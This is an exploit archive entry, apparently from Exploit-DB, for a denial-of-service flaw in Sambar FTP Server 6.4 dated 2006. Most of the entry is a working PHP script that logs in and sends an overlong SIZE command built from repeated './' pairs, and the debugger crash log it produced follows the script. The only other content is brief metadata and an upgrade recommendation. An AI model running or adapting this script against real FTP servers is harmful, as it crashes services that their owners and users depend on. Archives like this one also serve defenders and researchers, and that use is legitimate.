Sambar FTP Server 6.4 SIZE Denial Of Service

vendor:

Sambar FTP Server

by:

rgod

7.5

CVSS

HIGH

Denial of Service

N/A

CWE

Product Name: Sambar FTP Server

Affected Version From: 6.4

Affected Version To: 6.4

Patch Exists: YES

Related CWE: N/A

CPE: a:sambar_software:sambar_ftp_server

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP

2006

Sambar FTP Server 6.4 SIZE Denial Of Service

An attacker can exploit a vulnerability in Sambar FTP Server 6.4 by sending a specially crafted SIZE command with a long string of '.' characters, resulting in a denial of service condition.

Mitigation:

Upgrade to the latest version of Sambar FTP Server.

Source

Exploit-DB raw data:

<?php

# Sambar FTP Server 6.4 SIZE Denial Of Service
# by rgod
# mail: retrog at alice dot it
# site: http://retrogod.altervista.org

# tested on WinXP sp2

error_reporting(E_ALL);

$service_port = getservbyname('ftp', 'tcp');
$address = gethostbyname('192.168.1.3');

$user="test";
$pass="test";

$junk="";
for ($i=1; $i<=160; $i++){
    $junk.="./";
}

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
   echo "socket_create() failed:\n reason: " . socket_strerror($socket) . "\n";
} else {
   echo "OK.\n";
}

$result = socket_connect($socket, $address, $service_port);
if ($result < 0) {
   echo "socket_connect() failed:\n reason: ($result) " . socket_strerror($result) . "\n";
} else {
   echo "OK.\n";
}

$out=socket_read($socket, 240);
echo $out;

$in = "USER ".$user."\r\n";
socket_write($socket, $in, strlen ($in));

$out=socket_read($socket, 80);
echo $out;

$in = "PASS ".$pass."\r\n";
socket_write($socket, $in, strlen ($in));

$out=socket_read($socket, 80);
echo $out;

$in = "SIZE ".$junk."\r\n";
socket_write($socket, $in, strlen ($in));

socket_close($socket);

/*20:13:17.600  pid=0C50 tid=0148  EXCEPTION (first-chance)
              ----------------------------------------------------------------
              Exception C0000005 (ACCESS_VIOLATION reading [2E2F2E7B])
              ----------------------------------------------------------------
              EAX=2E2F2E2F: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
              EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
              ECX=00000170: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
              EDX=012CE7F0: 35 35 30 20 43 61 6E 27-74 20 61 63 63 65 73 73
              ESP=012CE7C0: F0 E7 2C 01 FD FF FF FF-01 00 00 00 00 00 00 00
              EBP=012CE900: 2F 2E 2F 2E 2F 2E 2F 2E-2F 2E 2F 2E 2F 2E 2F 2E
              ESI=00A0E3C0: 00 00 00 00 28 60 E2 00-B0 C0 D3 00 78 A6 28 10
              EDI=00A016A0: 01 00 00 00 01 00 00 00-0A 00 00 00 B6 0B 00 00
              EIP=1008DB22: 8B 48 4C 51 8B 55 08 8B-42 58 50 E8 EE AD 18 00
                            --> MOV ECX,[EAX+4C]
              ----------------------------------------------------------------

20:13:17.610  pid=0C50 tid=0148  EXCEPTION (unhandled)
              ----------------------------------------------------------------
              Exception C0000005 (ACCESS_VIOLATION reading [2E2F2E7B])
              ----------------------------------------------------------------
              EAX=2E2F2E2F: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
              EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
              ECX=00000170: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
              EDX=012CE7F0: 35 35 30 20 43 61 6E 27-74 20 61 63 63 65 73 73
              ESP=012CE7C0: F0 E7 2C 01 FD FF FF FF-01 00 00 00 00 00 00 00
              EBP=012CE900: 2F 2E 2F 2E 2F 2E 2F 2E-2F 2E 2F 2E 2F 2E 2F 2E
              ESI=00A0E3C0: 00 00 00 00 28 60 E2 00-B0 C0 D3 00 78 A6 28 10
              EDI=00A016A0: 01 00 00 00 01 00 00 00-0A 00 00 00 B6 0B 00 00
              EIP=1008DB22: 8B 48 4C 51 8B 55 08 8B-42 58 50 E8 EE AD 18 00
                            --> MOV ECX,[EAX+4C]
              ----------------------------------------------------------------

20:13:17.610  pid=0C50 tid=0148  Thread exited with code 3221225477
20:13:17.610  pid=0C50 tid=0D40  Thread exited with code 3221225477
20:13:17.610  pid=0C50 tid=08A0  Thread exited with code 3221225477
20:13:17.610  pid=0C50 tid=0900  Thread exited with code 3221225477
20:13:17.610  pid=0C50 tid=0C44  Thread exited with code 3221225477
20:13:17.610  pid=0C50 tid=0750  Thread exited with code 3221225477
20:13:17.610  pid=0C50 tid=0244  Thread exited with code 3221225477
20:13:17.610  pid=0C50 tid=04F0  Thread exited with code 3221225477
20:13:17.610  pid=0C50 tid=0AC4  Thread exited with code 3221225477
20:13:17.610  pid=0C50 tid=0870  Thread exited with code 3221225477
20:13:17.610  pid=0C50 tid=01F0  Thread exited with code 3221225477
20:13:17.610  pid=0C50 tid=0114  Thread exited with code 3221225477
20:13:17.610  pid=0C50 tid=0ABC  Process exited with code 3221225477
*/
?>

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